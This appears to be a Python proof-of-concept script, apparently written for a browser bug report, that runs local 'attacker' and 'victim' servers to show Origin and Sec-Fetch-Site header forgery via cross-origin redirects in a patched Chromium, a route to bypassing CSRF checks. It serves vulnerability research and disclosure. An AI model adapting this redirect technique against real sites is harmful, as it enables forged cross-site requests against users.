#!/usr/bin/env python3
"""
HDR1 PoC server — Origin + Sec-Fetch-* header forgery via modified_headers

Demonstrates two impacts:
1. Origin header forgery: cross-origin redirect sends forged Origin, bypassing CSRF
2. Sec-Fetch-Site forgery: cross-site request appears as same-origin

Architecture:
  - Attacker server (port 8080): serves PoC page and redirect endpoint
  - Victim server (port 8081): logs received headers to show forgery

Usage:
  python3 serve.py
  Then open http://localhost:8080/ in patched Chromium
"""

import http.server
import json
import threading
import urllib.parse
from http import HTTPStatus

ATTACKER_PORT = 8080
VICTIM_PORT = 8081


class AttackerHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/" or self.path == "/index.html":
            self.send_response(200)
            self.send_header("Content-Type", "text/html")
            self.end_headers()
            with open("index.html", "rb") as f:
                self.wfile.write(f.read())

        elif self.path.startswith("/redirect-to-victim"):
            # 307 redirect preserves method + body for POST CSRF demo
            self.send_response(307)
            self.send_header("Location", f"http://127.0.0.1:{VICTIM_PORT}/api/check-origin")
            self.end_headers()

        elif self.path.startswith("/redirect-get"):
            # 302 redirect for GET Sec-Fetch-Site demo
            self.send_response(302)
            self.send_header("Location", f"http://127.0.0.1:{VICTIM_PORT}/api/check-secfetch")
            self.end_headers()

        else:
            self.send_response(404)
            self.end_headers()

    def do_POST(self):
        # Forward POST to redirect handler
        self.do_GET()

    def log_message(self, format, *args):
        pass  # quiet


class VictimHandler(http.server.BaseHTTPRequestHandler):
    """Victim server that logs security-relevant headers."""

    def _handle(self):
        headers_of_interest = {
            "Origin": self.headers.get("Origin", "(not set)"),
            "Sec-Fetch-Site": self.headers.get("Sec-Fetch-Site", "(not set)"),
            "Sec-Fetch-Mode": self.headers.get("Sec-Fetch-Mode", "(not set)"),
            "Sec-Fetch-Dest": self.headers.get("Sec-Fetch-Dest", "(not set)"),
            "Host": self.headers.get("Host", "(not set)"),
            "Referer": self.headers.get("Referer", "(not set)"),
        }

        print(f"\n{'='*60}")
        print(f"  VICTIM SERVER received {self.command} {self.path}")
        print(f"{'='*60}")
        for k, v in headers_of_interest.items():
            marker = ""
            if k == "Origin" and "127.0.0.1" in v:
                marker = " <-- FORGED! Should be 'null' on cross-origin redirect"
            elif k == "Sec-Fetch-Site" and v == "same-origin":
                marker = " <-- FORGED! Should be 'cross-site'"
            print(f"  {k}: {v}{marker}")
        print(f"{'='*60}\n")

        # Return headers as JSON for the PoC page to display
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.send_header("Access-Control-Allow-Origin", "*")
        self.end_headers()
        self.wfile.write(json.dumps(headers_of_interest, indent=2).encode())

    def do_GET(self):
        self._handle()

    def do_POST(self):
        self._handle()

    def log_message(self, format, *args):
        pass  # quiet


def run():
    attacker = http.server.HTTPServer(("localhost", ATTACKER_PORT), AttackerHandler)
    victim = http.server.HTTPServer(("127.0.0.1", VICTIM_PORT), VictimHandler)

    print(f"HDR1 PoC Server")
    print(f"  Attacker: http://localhost:{ATTACKER_PORT}/")
    print(f"  Victim:   http://127.0.0.1:{VICTIM_PORT}/")
    print(f"\nOpen http://localhost:{ATTACKER_PORT}/ in patched Chromium")
    print(f"Watch this terminal for forged headers on victim server\n")

    t1 = threading.Thread(target=attacker.serve_forever, daemon=True)
    t2 = threading.Thread(target=victim.serve_forever, daemon=True)
    t1.start()
    t2.start()

    try:
        t1.join()
    except KeyboardInterrupt:
        print("\nShutting down...")


if __name__ == "__main__":
    run()
